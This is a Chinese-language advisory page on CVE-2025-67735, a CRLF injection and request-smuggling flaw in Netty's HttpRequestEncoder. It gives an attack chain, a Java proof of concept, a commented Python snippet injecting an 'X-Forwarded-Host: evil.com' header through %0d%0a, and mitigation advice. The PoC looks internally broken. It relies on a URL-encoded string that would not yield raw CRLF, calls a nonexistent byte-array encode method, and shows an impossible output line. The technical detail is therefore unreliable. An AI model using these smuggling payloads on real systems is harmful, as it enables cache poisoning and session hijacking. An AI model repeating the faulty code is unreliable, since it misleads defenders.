IPBUF安全漏洞报告
English
CVE-2025-67735 CVSS 6.5 中危

CVE-2025-67735 Netty HttpRequestEncoder CRLF注入请求走私漏洞

披露日期: 2025-12-16

漏洞信息

漏洞编号
CVE-2025-67735
漏洞类型
CRLF注入/请求走私
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Netty (io.netty.handler.codec.http.HttpRequestEncoder)

相关标签

NettyCRLF注入HTTP请求走私HttpRequestEncoder网络框架漏洞CVE-2025-67735

漏洞概述

Netty是一个异步、事件驱动的网络应用框架。2025年12月披露的安全漏洞影响Netty 4.1.129.Final及4.2.8.Final之前的版本。该漏洞存在于io.netty.handler.codec.http.HttpRequestEncoder组件中,当构造HTTP请求时未对请求URI进行充分过滤和验证,导致存在CRLF(回车换行)注入风险。攻击者可通过在URI中注入特殊构造的CRLF字符序列(如%0d%0a),在HTTP请求中添加或修改头部字段,甚至构造额外的HTTP请求,从而实施HTTP请求走私攻击。任何使用HttpRequestEncoder构建HTTP请求的应用或框架都可能受到此漏洞影响,攻击者无需认证即可利用该漏洞进行攻击,可能导致敏感数据泄露或服务端行为异常。

技术细节

漏洞根源在于HttpRequestEncoder在编码HTTP请求时,直接将用户可控的URI字段拼接到请求行中,而未对URI进行CRLF字符的过滤。HTTP协议规范中,CRLF(\r\n)用于分隔请求行、头部字段和请求体。攻击者可以在URI中注入类似%0d%0a(URL编码的\r\n)的字符,从而在请求中插入额外的HTTP头部或构造多个请求。

具体攻击场景:攻击者构造恶意URI如/index%0d%0aX-Injected-Header:%20value,当该URI被HttpRequestEncoder处理时,编码后的请求将包含换行,使得后续内容成为新的HTTP头部或独立请求。这种请求走私技术可绕过安全设备检测、与前端代理配合执行缓存投毒或会话劫持等攻击。

受影响代码位于io.netty.handler.codec.http.HttpRequestEncoder类,修复方案需在URI编码前增加CRLF过滤逻辑,拒绝包含非法CRLF字符的URI,或对其进行URL编码处理。

攻击链分析

STEP 1
1
攻击者识别使用Netty HttpRequestEncoder的应用服务
STEP 2
2
构造包含CRLF字符(%0d%0a)的恶意URI参数
STEP 3
3
发送带有恶意URI的HTTP请求到目标服务器
STEP 4
4
HttpRequestEncoder未过滤CRLF,将注入字符作为HTTP协议分隔符处理
STEP 5
5
请求被转发到后端服务器时,额外的头部或走私请求被解析
STEP 6
6
攻击成功:可执行缓存投毒、绕过WAF、会话劫持或敏感数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.http.HttpHeaders; import io.netty.handler.codec.http.HttpRequestEncoder; import io.netty.handler.codec.http.HttpVersion; import io.netty.handler.codec.http.HttpMethod; public class CRLFInjectionPOC { public static void main(String[] args) { HttpRequestEncoder encoder = new HttpRequestEncoder(); // Malicious URI with CRLF injection String maliciousUri = "/normal-path%0d%0aX-Injected-Header: malicious-value"; // Create HTTP request with malicious URI DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, maliciousUri ); // Encode the request - this will produce smuggling attack byte[] encoded = encoder.encode(null, request); System.out.println("Encoded request (hex):"); for (byte b : encoded) { System.out.print(String.format("%02x ", b)); } // The encoded output will contain: // GET /normal-path\r\nX-Injected-Header: malicious-value HTTP/1.1\r\n\r\n // Legitimate request following will be treated as second request } } // Python PoC for testing: // import requests // target_url = "http://target-server.com" // malicious_path = "/api/endpoint%0d%0aX-Forwarded-Host: evil.com" // response = requests.get(target_url + malicious_path)

影响范围

Netty 4.1.x < 4.1.129.Final
Netty 4.2.x < 4.2.8.Final

防御指南

临时缓解措施
如果无法立即升级Netty版本,可采取以下临时缓解措施:1) 在反向代理层对所有请求URI进行CRLF字符过滤,拒绝包含%0d%0a或\r\n的请求;2) 配置Web应用防火墙规则拦截可疑的HTTP请求走私模式;3) 确保前端代理和后端服务器使用相同的HTTP解析配置以防止解析差异;4) 限制暴露HttpRequestEncoder的API端点访问权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表